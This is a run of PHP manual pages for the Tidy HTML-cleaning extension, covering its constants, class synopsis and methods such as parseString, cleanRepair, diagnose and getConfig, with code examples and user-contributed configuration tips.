TIDY_ATTR_WIDTH
TIDY_ATTR_WRAP
TIDY_ATTR_XML_LANG
TIDY_ATTR_XML_SPACE
TIDY_ATTR_XMLNS

tidy nodetype constants
constant | description
TIDY_NODETYPE_ROOT | root node
TIDY_NODETYPE_DOCTYPE | doctype
TIDY_NODETYPE_COMMENT | HTML comment
TIDY_NODETYPE_PROCINS | Processing Instruction
TIDY_NODETYPE_TEXT | Text
TIDY_NODETYPE_START | start tag
TIDY_NODETYPE_END | end tag
TIDY_NODETYPE_STARTEND | empty tag
TIDY_NODETYPE_CDATA | CDATA
TIDY_NODETYPE_SECTION | XML section
TIDY_NODETYPE_ASP | ASP code
TIDY_NODETYPE_JSTE | JSTE code
TIDY_NODETYPE_PHP | PHP code
TIDY_NODETYPE_XMLDECL | XML declaration

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Tidy


Examples

Table of Contents

  • Tidy example

User Contributed Notes

Dmitri Snytkine cms.lampcms.com 23-Dec-2009 02:26
Important notice about configuration options:
If you read the quickref on this page:
http://tidy.sourceforge.net/docs/quickref.html
you may get an idea that the boolean values for config options can be set as 'y' or 'yes' or 'n' or 'no'
but that's not true for the tidy extension in php.

Boolean values MUST be set only as true or false (without quotes or cause), otherwise tidy just ignores your configuration. It will not raise any error or warning but will just ignore your 'yes' or 'no' values.

For example, this config array will not have the desired effect:
<?php $config = array('drop-proprietary-attributes' => 'yes'); ?>

You must set option to true:
<?php $config = array('drop-proprietary-attributes' => true); ?>
Brad 03-Mar-2009 12:50
Cleaning an html fragment (OO support seems to half-arsed for now)

This will ensure all tags are closed, without adding any html/head/body tags around it.

<?php
$tidy_config = array(
                     'clean' => true,
                     'output-xhtml' => true,
                     'show-body-only' => true,
                     'wrap' => 0,

                     );

$tidy = tidy_parse_string($html_fragment, $tidy_config, 'UTF8');
$tidy->cleanRepair();
echo $tidy;
?>
nicolas [at] adaka [dot] fr 25-Nov-2008 01:33
That seems to be the correct config to symply tidy an HTML fragment (in a valid XHTML syntax) :

<?php
    $tidy_config    =    array(
        'clean'                            =>    true,
        'drop-proprietary-attributes'    =>    true,
        'output-xhtml'                    =>    true,
        'show-body-only'                =>    true,
        'word-2000'                        =>    true,
        'wrap'                            =>    '0'
    );
?>
dan [@t] authenticdesign [d_o_t] net 22-Aug-2008 10:44
If you're just looking for a quick and dirty way to output HTML code you created in a formatted way use this technique...

<?php
$html = 'a chunk of html you created';
$config = array(
            'indent'         => true,
            'output-xml'     => true,
            'input-xml'     => true,
            'wrap'         => '1000');

// Tidy
$tidy = new tidy();
$tidy->parseString($html, $config, 'utf8');
$tidy->cleanRepair();
echo tidy_get_output($tidy);
?>

... This seemed to get the result I wanted every time.
Predefined Constants
Tidy example
Tidy


Tidy example

This simple example shows basic Tidy usage.

Example #1 Basic Tidy usage

<?php
ob_start();
?>
<html>a html document</html>
<?php
$html = ob_get_clean();

// Specify configuration
$config = array(
           'indent'         => true,
           'output-xhtml'   => true,
           'wrap'           => 200);

// Tidy
$tidy = new tidy;
$tidy->parseString($html, $config, 'utf8');
$tidy->cleanRepair();

// Output
echo $tidy;
?>

User Contributed Notes

matthewkastor at gmail dot com 10-Aug-2011 07:00
This function takes a string of HTML and runs it through HTML Tidy. It outputs a string of XHTML. This is intended for processing entire pages by default. You can supply an array to the second parameter of this function and it will override the default settings. Of course just changing the array inside the function will change the default settings. :D

There is a cheat sheet for the HTML Tidy options located here: http://tidy.sourceforge.net/docs/quickref.html There are a few I didn't put in the default array. ;) only a few.

example use of this function:

<?php
$fileAsString = file_get_contents( 'path/to/file.html' );
$cleanOutput = cleaning( $fileAsString );
echo $cleanOutput;
?>

And here it is. I hope it helps you.

<?php

// Tested on PHP 5.3.5

/* $what_to_clean is a string, $tidy_config is an array of options. $tidy_config is optional. */
function cleaning($what_to_clean, $tidy_config='' ) {

    $config = array(
        'show-body-only' => false,
        'clean' => true,
        'char-encoding' => 'utf8',
        'add-xml-decl' => true,
        'add-xml-space' => true,
        'output-html' => false,
        'output-xml' => false,
        'output-xhtml' => true,
        'numeric-entities' => false,
        'ascii-chars' => false,
        'doctype' => 'strict',
        'bare' => true,
        'fix-uri' => true,
        'indent' => true,
        'indent-spaces' => 4,
        'tab-size' => 4,
        'wrap-attributes' => true,
        'wrap' => 0,
        'indent-attributes' => true,
        'join-classes' => false,
        'join-styles' => false,
        'enclose-block-text' => true,
        'fix-bad-comments' => true,
        'fix-backslash' => true,
        'replace-color' => false,
        'wrap-asp' => false,
        'wrap-jste' => false,
        'wrap-php' => false,
        'write-back' => true,
        'drop-proprietary-attributes' => false,
        'hide-comments' => false,
        'hide-endtags' => false,
        'literal-attributes' => false,
        'drop-empty-paras' => true,
        'enclose-text' => true,
        'quote-ampersand' => true,
        'quote-marks' => false,
        'quote-nbsp' => true,
        'vertical-space' => true,
        'wrap-script-literals' => false,
        'tidy-mark' => true,
        'merge-divs' => false,
        'repeated-attributes' => 'keep-last',
        'break-before-br' => true,
    );

    if( $tidy_config == '' ) {
        $tidy_config = &$config;
    }

    $tidy = new tidy();
    $out = $tidy->repairString($what_to_clean, $tidy_config, 'UTF8');
    unset($tidy);
    unset($tidy_config);
    return($out);
}

?>
Examples
tidy
Examples


The tidy class

(No version information available, might only be in SVN)

Introduction

An HTML node in an HTML file, as detected by tidy.

Class synopsis

tidy {
/* Properties */
string $errorBuffer;
/* Methods */
tidyNode body ( void )
bool cleanRepair ( void )
__construct ([ string $filename [, mixed $config [, string $encoding [, bool $use_include_path ]]]] )
bool diagnose ( void )
array getConfig ( void )
int getHtmlVer ( void )
mixed getOpt ( string $option )
string getOptDoc ( string $optname )
string getRelease ( void )
int getStatus ( void )
tidyNode head ( void )
tidyNode html ( void )
bool isXhtml ( void )
bool isXml ( void )
bool parseFile ( string $filename [, mixed $config [, string $encoding [, bool $use_include_path = false ]]] )
bool parseString ( string $input [, mixed $config [, string $encoding ]] )
string repairFile ( string $filename [, mixed $config [, string $encoding [, bool $use_include_path = false ]]] )
string repairString ( string $data [, mixed $config [, string $encoding ]] )
tidyNode root ( void )
}

Table of Contents

  • tidy::body — Returns a tidyNode object starting from the <body> tag of the tidy parse tree
  • tidy::cleanRepair — Execute configured cleanup and repair operations on parsed markup
  • tidy::__construct — Constructs a new tidy object
  • tidy::diagnose — Run configured diagnostics on parsed and repaired markup
  • tidy::$errorBuffer — Return warnings and errors which occurred parsing the specified document
  • tidy::getConfig — Get current Tidy configuration
  • tidy::getHtmlVer — Get the Detected HTML version for the specified document
  • tidy::getOpt — Returns the value of the specified configuration option for the tidy document
  • tidy::getoptdoc — Returns the documentation for the given option name
  • tidy::getRelease — Get release date (version) for Tidy library
  • tidy::getStatus — Get status of specified document
  • tidy::head — Returns a tidyNode object starting from the <head> tag of the tidy parse tree
  • tidy::html — Returns a tidyNode object starting from the <html> tag of the tidy parse tree
  • tidy::isXhtml — Indicates if the document is a XHTML document
  • tidy::isXml — Indicates if the document is a generic (non HTML/XHTML) XML document
  • tidy::parseFile — Parse markup in file or URI
  • tidy::parseString — Parse a document stored in a string
  • tidy::repairFile — Repair a file and return it as a string
  • tidy::repairString — Repair a string using an optionally provided configuration file
  • tidy::root — Returns a tidyNode object representing the root of the tidy parse tree

User Contributed Notes

There are no user contributed notes for this page.
Tidy example
tidy::body
Tidy


Returns a tidyNode object starting from the <body> tag of the tidy parse tree

tidy
tidy::cleanRepair
tidy
PHP Manual

tidy::body

tidy_get_body

(PHP 5, PECL tidy 0.5.2-1.0)

tidy::body -- tidy_get_body — Returns a tidyNode object starting from the <body> tag of the tidy parse tree

Description

Object oriented style

tidyNode tidy::body ( void )

Procedural style

tidyNode tidy_get_body ( tidy $object )

Returns a tidyNode object starting from the <body> tag of the tidy parse tree.

Parameters

object

The Tidy object.

Return Values

Returns the detected HTML version.

Warning

This function is not yet implemented in the Tidylib itself, so it always return 0.

Examples

Example #1 tidy::getBody() example

<?php
$html = '
<html>
  <head>
    <title>test</title>
  </head>
  <body>
    <p>paragraph</p>
  </body>
</html>';

$tidy = tidy_parse_string($html);

$body = $tidy->Body();
echo $body->value;
?>

The above example will output:

<body>
<p>paragraph</p>
</body>

Notes

Note: This function is only available with Zend Engine 2 (PHP >= 5.0.0).

See Also

  • tidy::head() - Returns a tidyNode object starting from the <head> tag of the tidy parse tree
  • tidy::html() - Returns a tidyNode object starting from the <html> tag of the tidy parse tree

User Contributed Notes

There are no user contributed notes for this page.
tidy
tidy::cleanRepair
tidy


Execute configured cleanup and repair operations on parsed markup

tidy::body
tidy::__construct
tidy
PHP Manual

tidy::cleanRepair

tidy_clean_repair

(PHP 5, PECL tidy >= 0.5.2)

tidy::cleanRepair -- tidy_clean_repair — Execute configured cleanup and repair operations on parsed markup

Description

Object oriented style

bool tidy::cleanRepair ( void )

Procedural style

bool tidy_clean_repair ( tidy $object )

This function cleans and repairs the given tidy object.

Parameters

object

The Tidy object.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 tidy::cleanrepair() example

<?php
$html = '<p>test</I>';

$tidy = tidy_parse_string($html);
$tidy->cleanRepair();

echo $tidy;
?>

The above example will output:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title></title>
</head>
<body>
<p>test</p>
</body>
</html>

See Also

  • tidy::repairFile() - Repair a file and return it as a string
  • tidy::repairString() - Repair a string using an optionally provided configuration file

User Contributed Notes

There are no user contributed notes for this page.
tidy::body
tidy::__construct
tidy


Constructs a new tidy object

tidy::cleanRepair
tidy::diagnose
tidy
PHP Manual

tidy::__construct

(PHP 5, PECL tidy >= 0.5.2)

tidy::__construct — Constructs a new tidy object

Description

tidy::__construct ([ string $filename [, mixed $config [, string $encoding [, bool $use_include_path ]]]] )

Constructs a new tidy object.

Parameters

filename

If the filename parameter is given, this function will also read that file and initialize the object with the file, acting like tidy_parse_file().

config

The config config can be passed either as an array or as a string. If a string is passed, it is interpreted as the name of the configuration file, otherwise, it is interpreted as the options themselves.

For an explanation about each option, visit » http://tidy.sourceforge.net/docs/quickref.html.

encoding

The encoding parameter sets the encoding for input/output documents. The possible values for encoding are: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, and shiftjis.

use_include_path

Search for the file in the include_path.

Return Values

Returns the new tidy instance.

Examples

Example #1 tidy::__construct() example

<?php

$html = <<< HTML

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><title>title</title></head>
<body>
<p>paragraph <bt />
text</p>
</body></html>

HTML;

$tidy = new tidy();
$tidy->ParseString($html);

$tidy->cleanRepair();

if ($tidy->errorBuffer) {
    echo "The following errors were detected:\n";
    echo $tidy->errorBuffer;
}

?>

The above example will output:

The following errors were detected:
line 8 column 14 - Error: <bt> is not recognized!
line 8 column 14 - Warning: discarding unexpected <bt>

See Also

  • tidy::parseFile() - Parse markup in file or URI
  • tidy::parseString() - Parse a document stored in a string

User Contributed Notes

There are no user contributed notes for this page.
tidy::cleanRepair
tidy::diagnose
tidy


Run configured diagnostics on parsed and repaired markup

tidy::__construct
tidy::$errorBuffer
tidy
PHP Manual

tidy::diagnose

tidy_diagnose

(PHP 5, PECL tidy >= 0.5.2)

tidy::diagnose -- tidy_diagnose — Run configured diagnostics on parsed and repaired markup

Description

Object oriented style

bool tidy::diagnose ( void )

Procedural style

bool tidy_diagnose ( tidy $object )

Runs diagnostic tests on the given tidy object, adding some more information about the document in the error buffer.

Parameters

object

The Tidy object.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 tidy::diagnose() example

<?php

$html = <<< HTML
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<p>paragraph</p>
HTML;

$tidy = tidy_parse_string($html);
$tidy->cleanRepair();

// note the difference between the two outputs
echo $tidy->errorBuffer . "\n";

$tidy->diagnose();
echo $tidy->errorBuffer;

?>

The above example will output:

line 4 column 1 - Warning: <p> isn't allowed in <head> elements
line 4 column 1 - Warning: inserting missing 'title' element
line 4 column 1 - Warning: <p> isn't allowed in <head> elements
line 4 column 1 - Warning: inserting missing 'title' element
Info: Doctype given is "-//W3C//DTD XHTML 1.0 Strict//EN"
Info: Document content looks like XHTML 1.0 Strict
2 warnings, 0 errors were found!

See Also

  • tidy::errorBuffer()

User Contributed Notes

There are no user contributed notes for this page.
tidy::__construct
tidy::$errorBuffer
tidy


Return warnings and errors which occurred parsing the specified document

tidy::diagnose
tidy::getConfig
tidy
PHP Manual

tidy::$errorBuffer

tidy_get_error_buffer

(PHP 5, PECL tidy >= 0.5.2)

tidy::$errorBuffer -- tidy_get_error_buffer — Return warnings and errors which occurred parsing the specified document

Description

Object oriented style (property):

string $tidy->errorBuffer;

Procedural style:

string tidy_get_error_buffer ( tidy $tidy )

Returns warnings and errors which occurred parsing the specified document.

Parameters

tidy

The Tidy object.

Return Values

Returns the error buffer as a string.

Examples

Example #1 tidy_get_error_buffer() example

<?php
$html = '<p>paragraph</p>';

$tidy = tidy_parse_string($html);

echo tidy_get_error_buffer($tidy);
/* or in OO: */
echo $tidy->errorBuffer;
?>

The above example will output:

line 1 column 1 - Warning: missing <!DOCTYPE> declaration
line 1 column 1 - Warning: inserting missing 'title' element

See Also

  • tidy_access_count() - Returns the Number of Tidy accessibility warnings encountered for specified document
  • tidy_error_count() - Returns the Number of Tidy errors encountered for specified document
  • tidy_warning_count() - Returns the Number of Tidy warnings encountered for specified document

User Contributed Notes

david dot tulloh at infaze dot com dot au 11-May-2005 10:42
The following line will convert string error into a two dimensional array containing the components from the error string for each line.  It will match Error, Warning, Info and Access error types.  You can then do something useful with the output.

<?php
preg_match_all('/^(?:line (\d+) column (\d+) - )?(\S+): (?:\[((?:\d+\.?){4})]:)
?(.*?)$/m', $tidy->errorBuffer, $tidy_errors, PREG_SET_ORDER);
?>

And a small tip, always run the error messages through htmlentities when outputting to convert the tags in the error to a viewable form.
tidy::diagnose
tidy::getConfig
tidy


Get current Tidy configuration

tidy::$errorBuffer
tidy::getHtmlVer
tidy
PHP Manual

tidy::getConfig

tidy_get_config

(PHP 5, PECL tidy >= 0.7.0)

tidy::getConfig -- tidy_get_config — Get current Tidy configuration

Description

Object oriented style

array tidy::getConfig ( void )

Procedural style

array tidy_get_config ( tidy $object )

Gets the list of the configuration options in use by the given tidy object.

Parameters

object

The Tidy object.

Return Values

Returns an array of configuration options.

For an explanation about each option, visit » http://tidy.sourceforge.net/docs/quickref.html.

Examples

Example #1 tidy::getConfig() example

<?php
$html = '<p>test</p>';
$config = array('indent' => TRUE,
                'output-xhtml' => TRUE,
                'wrap' => 200);

$tidy = tidy_parse_string($html, $config);

print_r($tidy->getConfig());
?>

The above example will output:

Array
(
    [indent-spaces] => 2
    [wrap] => 200
    [tab-size] => 8
    [char-encoding] => 1
    [input-encoding] => 3
    [output-encoding] => 1
    [newline] => 1
    [doctype-mode] => 1
    [doctype] =>
    [repeated-attributes] => 1
    [alt-text] =>
    [slide-style] =>
    [error-file] =>
    [output-file] =>
    [write-back] =>
    [markup] => 1
    [show-warnings] => 1
    [quiet] =>
    [indent] => 1
    [hide-endtags] =>
    [input-xml] =>
    [output-xml] => 1
    [output-xhtml] => 1
    [output-html] =>
    [add-xml-decl] =>
    [uppercase-tags] =>
    [uppercase-attributes] =>
    [bare] =>
    [clean] =>
    [logical-emphasis] =>
    [drop-proprietary-attributes] =>
    [drop-font-tags] =>
    [drop-empty-paras] => 1
    [fix-bad-comments] => 1
    [break-before-br] =>
    [split] =>
    [numeric-entities] =>
    [quote-marks] =>
    [quote-nbsp] => 1
    [quote-ampersand] => 1
    [wrap-attributes] =>
    [wrap-script-literals] =>
    [wrap-sections] => 1
    [wrap-asp] => 1
    [wrap-jste] => 1
    [wrap-php] => 1
    [fix-backslash] => 1
    [indent-attributes] =>
    [assume-xml-procins] =>
    [add-xml-space] =>
    [enclose-text] =>
    [enclose-block-text] =>
    [keep-time] =>
    [word-2000] =>
    [tidy-mark] =>
    [gnu-emacs] =>
    [gnu-emacs-file] =>
    [literal-attributes] =>
    [show-body-only] =>
    [fix-uri] => 1
    [lower-literals] => 1
    [hide-comments] =>
    [indent-cdata] =>
    [force-output] => 1
    [show-errors] => 6
    [ascii-chars] => 1
    [join-classes] =>
    [join-styles] => 1
    [escape-cdata] =>
    [language] =>
    [ncr] => 1
    [output-bom] => 2
    [replace-color] =>
    [css-prefix] =>
    [new-inline-tags] =>
    [new-blocklevel-tags] =>
    [new-empty-tags] =>
    [new-pre-tags] =>
    [accessibility-check] => 0
    [vertical-space] =>
    [punctuation-wrap] =>
    [merge-divs] => 1
)

See Also

  • tidy_reset_config() - Restore Tidy configuration to default values
  • tidy_save_config() - Save current settings to named file

User Contributed Notes

There are no user contributed notes for this page.
tidy::$errorBuffer
tidy::getHtmlVer
tidy


Get the Detected HTML version for the specified document

tidy::getConfig
tidy::getOpt
tidy
PHP Manual

tidy::getHtmlVer

tidy_get_html_ver

(PHP 5, PECL tidy >= 0.5.2)

tidy::getHtmlVer -- tidy_get_html_ver — Get the Detected HTML version for the specified document

Description

Object oriented style

int tidy::getHtmlVer ( void )

Procedural style

int tidy_get_html_ver ( tidy $object )

Returns the detected HTML version for the specified tidy object.

Parameters

object

The Tidy object.

Return Values

Returns the detected HTML version.

Warning

This function is not yet implemented in the Tidylib itself, so it always return 0.

User Contributed Notes

There are no user contributed notes for this page.
tidy::getConfig
tidy::getOpt
tidy


Returns the value of the specified configuration option for the tidy document

tidy::getHtmlVer
tidy::getoptdoc
tidy
PHP Manual

tidy::getOpt

tidy_getopt

(PHP 5, PECL tidy >= 0.5.2)

tidy::getOpt -- tidy_getopt — Returns the value of the specified configuration option for the tidy document

Description

Object oriented style

mixed tidy::getOpt ( string $option )

Procedural style

mixed tidy_getopt ( tidy $object , string $option )

Returns the value of the specified option for the specified tidy object.

Parameters

object

The Tidy object.

option

You will find a list with each configuration option and their types at: » http://tidy.sourceforge.net/docs/quickref.html.

Return Values

Returns the value of the specified option. The return type depends on the type of the specified one.

Examples

Example #1 tidy_getopt() example

<?php

$html ='<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html><head><title>Title</title></head>
<body>

<p><img src="img.png"></p>

</body></html>';

$config = array('accessibility-check' => 3,
                'alt-text' => 'some text');

$tidy = new tidy();
$tidy->parseString($html, $config);

var_dump($tidy->getOpt('accessibility-check')); //integer
var_dump($tidy->getOpt('lower-literals')); //boolean
var_dump($tidy->getOpt('alt-text')); //string

?>

The above example will output:

int(3)
bool(true)
string(9) "some text"

User Contributed Notes

There are no user contributed notes for this page.
tidy::getHtmlVer
tidy::getoptdoc
tidy


Returns the documentation for the given option name

tidy::getOpt
tidy::getRelease
tidy
PHP Manual

tidy::getoptdoc

tidy_get_opt_doc

(PHP 5 >= 5.1.0)

tidy::getoptdoc -- tidy_get_opt_doc — Returns the documentation for the given option name

Description

Object oriented style

string tidy::getOptDoc ( string $optname )

Procedural style

string tidy_get_opt_doc ( tidy $object , string $optname )

tidy_get_opt_doc() returns the documentation for the given option name.

Note:

You need at least libtidy from 25 April, 2005 for this function be available.

Parameters

object

The Tidy object.

optname

The option name

Return Values

Returns a string if the option exists and has documentation available, or FALSE otherwise.

Examples

Example #1 Print all options along with their documentation and default value

<?php

$tidy = new tidy;
$config = $tidy->getConfig();

ksort($config);

foreach ($config as $opt => $val) {

    if (!$doc = $tidy->getOptDoc($opt))
        $doc = 'no documentation available!';

    $val = ($tidy->getOpt($opt) === true)  ? 'true'  : $val;
    $val = ($tidy->getOpt($opt) === false) ? 'false' : $val;

    echo "<p><b>$opt</b> (default: '$val')<br />".
         "$doc</p><hr />\n";
}

?>

See Also

  • tidy::getconfig() - Get current Tidy configuration
  • tidy::getopt() - Returns the value of the specified configuration option for the tidy document

User Contributed Notes

There are no user contributed notes for this page.
tidy::getOpt
tidy::getRelease
tidy


Get release date (version) for Tidy library

tidy::getoptdoc
tidy::getStatus
tidy
PHP Manual

tidy::getRelease

tidy_get_release

(PHP 5, PECL tidy >= 0.5.2)

tidy::getRelease -- tidy_get_release — Get release date (version) for Tidy library

Description

Object oriented style

string tidy::getRelease ( void )

Procedural style

string tidy_get_release ( void )

Gets the release date of the Tidy library.

Return Values

Returns a string with the release date of the Tidy library.

User Contributed Notes

There are no user contributed notes for this page.
tidy::getoptdoc
tidy::getStatus
tidy


Get status of specified document

tidy::getRelease
tidy::head
tidy
PHP Manual

tidy::getStatus

tidy_get_status

(PHP 5, PECL tidy >= 0.5.2)

tidy::getStatus -- tidy_get_status — Get status of specified document

Description

Object oriented style

int tidy::getStatus ( void )

Procedural style

int tidy_get_status ( tidy $object )

Returns the status for the specified tidy object.

Parameters

object

The Tidy object.

Return Values

Returns 0 if no error/warning was raised, 1 for warnings or accessibility errors, or 2 for errors.

Examples

Example #1 tidy::getStatus() example

<?php
$html = '<p>paragraph</i>';
$tidy = new tidy();
$tidy->parseString($html);

$tidy2 = new tidy();
$html2 = '<bogus>test</bogus>';
$tidy2->parseString($html2);

echo $tidy->getStatus(); //1

echo $tidy2->getStatus(); //2
?>

User Contributed Notes

There are no user contributed notes for this page.
tidy::getRelease
tidy::head
tidy


Returns a tidyNode object starting from the <head> tag of the tidy parse tree

tidy::getStatus
tidy::html
tidy
PHP Manual

tidy::head

tidy_get_head

(PHP 5, PECL tidy 0.5.2-1.0.0)

tidy::head -- tidy_get_head — Returns a tidyNode object starting from the <head> tag of the tidy parse tree

Description

Object oriented style

tidyNode tidy::head ( void )

Procedural style

tidyNode tidy_get_head ( tidy $object )

Returns a tidyNode object starting from the <head> tag of the tidy parse tree.

Parameters

object

The Tidy object.

Return Values

Returns the tidyNode object.

Examples

Example #1 tidy::head() example

<?php
$html = '
<html>
  <head>
    <title>test</title>
  </head>
  <body>
    <p>paragraph</p>
  </body>
</html>';

$tidy = tidy_parse_string($html);

$head = $tidy->head();
echo $head->value;
?>

The above example will output:

<head>
<title>test</title>
</head>

Notes

Note: This function is only available with Zend Engine 2 (PHP >= 5.0.0).

See Also

  • tidy::body() - Returns a tidyNode object starting from the <body> tag of the tidy parse tree
  • tidy::html() - Returns a tidyNode object starting from the <html> tag of the tidy parse tree

User Contributed Notes

There are no user contributed notes for this page.
tidy::getStatus
tidy::html
tidy


Returns a tidyNode object starting from the <html> tag of the tidy parse tree

tidy::head
tidy::isXhtml
tidy
PHP Manual

tidy::html

tidy_get_html

(PHP 5, PECL tidy 0.5.2-1.0.0)

tidy::html -- tidy_get_html — Returns a tidyNode object starting from the <html> tag of the tidy parse tree

Description

Object oriented style

tidyNode tidy::html ( void )

Procedural style

tidyNode tidy_get_html ( tidy $object )

Returns a tidyNode object starting from the <html> tag of the tidy parse tree.

Parameters

object

The Tidy object.

Return Values

Returns the tidyNode object.

Examples

Example #1 tidy::html() example

<?php
$html = '
<html>
  <head>
    <title>test</title>
  </head>
  <body>
    <p>paragraph</p>
  </body>
</html>';

$tidy = tidy_parse_string($html);

$html = $tidy->html();
echo $html->value;
?>

The above example will output:

<html>
<head>
<title>test</title>
</head>
<body>
<p>paragraph</p>
</body>
</html>

Notes

Note: This function is only available with Zend Engine 2 (PHP >= 5.0.0).

See Also

  • tidy::body() - Returns a tidyNode object starting from the <body> tag of the tidy parse tree
  • tidy::head() - Returns a tidyNode object starting from the <head> tag of the tidy parse tree

User Contributed Notes

There are no user contributed notes for this page.
tidy::head
tidy::isXhtml
tidy


Indicates if the document is a XHTML document

tidy::html
tidy::isXml
tidy
PHP Manual

tidy::isXhtml

tidy_is_xhtml

(PHP 5, PECL tidy >= 0.5.2)

tidy::isXhtml -- tidy_is_xhtml — Indicates if the document is a XHTML document

Description

Object oriented style

bool tidy::isXhtml ( void )

Procedural style

bool tidy_is_xhtml ( tidy $object )

Tells if the document is a XHTML document.

Parameters

object

The Tidy object.

Return Values

This function returns TRUE if the specified tidy object is a XHTML document, or FALSE otherwise.

Warning

This function is not yet implemented in the Tidylib itself, so it always return FALSE.

User Contributed Notes

There are no user contributed notes for this page.
tidy::html
tidy::isXml
tidy


Indicates if the document is a generic (non HTML/XHTML) XML document

tidy::isXhtml
tidy::parseFile
tidy
PHP Manual

tidy::isXml

tidy_is_xml

(PHP 5, PECL tidy >= 0.5.2)

tidy::isXml -- tidy_is_xml — Indicates if the document is a generic (non HTML/XHTML) XML document

Description

Object oriented style

bool tidy::isXml ( void )

Procedural style

bool tidy_is_xml ( tidy $object )

Tells if the document is a generic (non HTML/XHTML) XML document.

Parameters

object

The Tidy object.

Return Values

This function returns TRUE if the specified tidy object is a generic XML document (non HTML/XHTML), or FALSE otherwise.

Warning

This function is not yet implemented in the Tidylib itself, so it always return FALSE.

User Contributed Notes

There are no user contributed notes for this page.
tidy::isXhtml
tidy::parseFile
tidy


Parse markup in file or URI

tidy::isXml
tidy::parseString
tidy
PHP Manual

tidy::parseFile

tidy_parse_file

(PHP 5, PECL tidy >= 0.5.2)

tidy::parseFile -- tidy_parse_file — Parse markup in file or URI

Description

Object oriented style

bool tidy::parseFile ( string $filename [, mixed $config [, string $encoding [, bool $use_include_path = false ]]] )

Procedural style

tidy tidy_parse_file ( string $filename [, mixed $config [, string $encoding [, bool $use_include_path = false ]]] )

Parses the given file.

Parameters

filename

If the filename parameter is given, this function will also read that file and initialize the object with the file, acting like tidy_parse_file().

config

The config config can be passed either as an array or as a string. If a string is passed, it is interpreted as the name of the configuration file, otherwise, it is interpreted as the options themselves.

For an explanation about each option, see » http://tidy.sourceforge.net/docs/quickref.html.

encoding

The encoding parameter sets the encoding for input/output documents. The possible values for encoding are: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, and shiftjis.

use_include_path

Search for the file in the include_path.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 tidy::parseFile() example

<?php
$tidy = new tidy();
$tidy->parseFile('file.html');

$tidy->cleanRepair();

if(!empty($tidy->errorBuffer)) {
    echo "The following errors or warnings occured:\n";
    echo $tidy->errorBuffer;
}
?>

Notes

Note: The optional parameters config and encoding were added in Tidy 2.0.

See Also

  • tidy::parsestring() - Parse a document stored in a string
  • tidy::repairfile() - Repair a file and return it as a string
  • tidy::repairstring() - Repair a string using an optionally provided configuration file

User Contributed Notes

There are no user contributed notes for this page.
tidy::isXml
tidy::parseString
tidy


Parse a document stored in a string

tidy::parseFile
tidy::repairFile
tidy
PHP Manual

tidy::parseString

tidy_parse_string

(PHP 5, PECL tidy >= 0.5.2)

tidy::parseString -- tidy_parse_string — Parse a document stored in a string

Description

Object oriented style

bool tidy::parseString ( string $input [, mixed $config [, string $encoding ]] )

Procedural style

tidy tidy_parse_string ( string $input [, mixed $config [, string $encoding ]] )

Parses a document stored in a string.

Parameters

input

The data to be parsed.

config

The config config can be passed either as an array or as a string. If a string is passed, it is interpreted as the name of the configuration file, otherwise, it is interpreted as the options themselves.

For an explanation about each option, visit » http://tidy.sourceforge.net/docs/quickref.html.

encoding

The encoding parameter sets the encoding for input/output documents. The possible values for encoding are: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, and shiftjis.

Return Values

Returns a new tidy instance.

Examples

Example #1 tidy::parseString() example

<?php
ob_start();
?>

<html>
  <head>
   <title>test</title>
  </head>
  <body>
   <p>error<br>another line</i>
  </body>
</html>

<?php

$buffer = ob_get_clean();
$config = array('indent' => TRUE,
                'output-xhtml' => TRUE,
                'wrap' => 200);

$tidy = tidy_parse_string($buffer, $config, 'UTF8');

$tidy->cleanRepair();
echo $tidy;
?>

The above example will output:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <title>
      test
    </title>
  </head>
  <body>
    <p>
      error<br />
      another line
    </p>
  </body>
</html>

Notes

Note: The optional parameters config and encoding were added in Tidy 2.0.

See Also

  • tidy::parseFile() - Parse markup in file or URI
  • tidy::repairFile() - Repair a file and return it as a string
  • tidy::repairString() - Repair a string using an optionally provided configuration file

User Contributed Notes

There are no user contributed notes for this page.
tidy::parseFile
tidy::repairFile
tidy


Repair a file and return it as a string

tidy::parseString
tidy::repairString
tidy
PHP Manual

tidy::repairFile

tidy_repair_file

(PHP 5, PECL tidy >= 0.7.0)

tidy::repairFile -- tidy_repair_file — Repair a file and return it as a string

Description

Object oriented style

string tidy::repairFile ( string $filename [, mixed $config [, string $encoding [, bool $use_include_path = false ]]] )

Procedural style

string tidy_repair_file ( string $filename [, mixed $config [, string $encoding [, bool $use_include_path = false ]]] )

Repairs the given file and returns it as a string.

Parameters

filename

The file to be repaired.

config

The config config can be passed either as an array or as a string. If a string is passed, it is interpreted as the name of the configuration file, otherwise, it is interpreted as the options themselves.

Check http://tidy.sourceforge.net/docs/quickref.html for an explanation about each option.

encoding

The encoding parameter sets the encoding for input/output documents. The possible values for encoding are: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, and shiftjis.

use_include_path

Search for the file in the include_path.

Return Values

Returns the repaired contents as a string.

Examples

Example #1 tidy::repairFile() example

<?php
$file = 'file.html';

$tidy = new tidy();
$repaired = $tidy->repairfile($file);
rename($file, $file . '.bak');

file_put_contents($file, $repaired);
?>

Notes

Note: The optional parameters config and encoding were added in Tidy 2.0.

See Also

  • tidy::parseFile() - Parse markup in file or URI
  • tidy::parseString() - Parse a document stored in a string
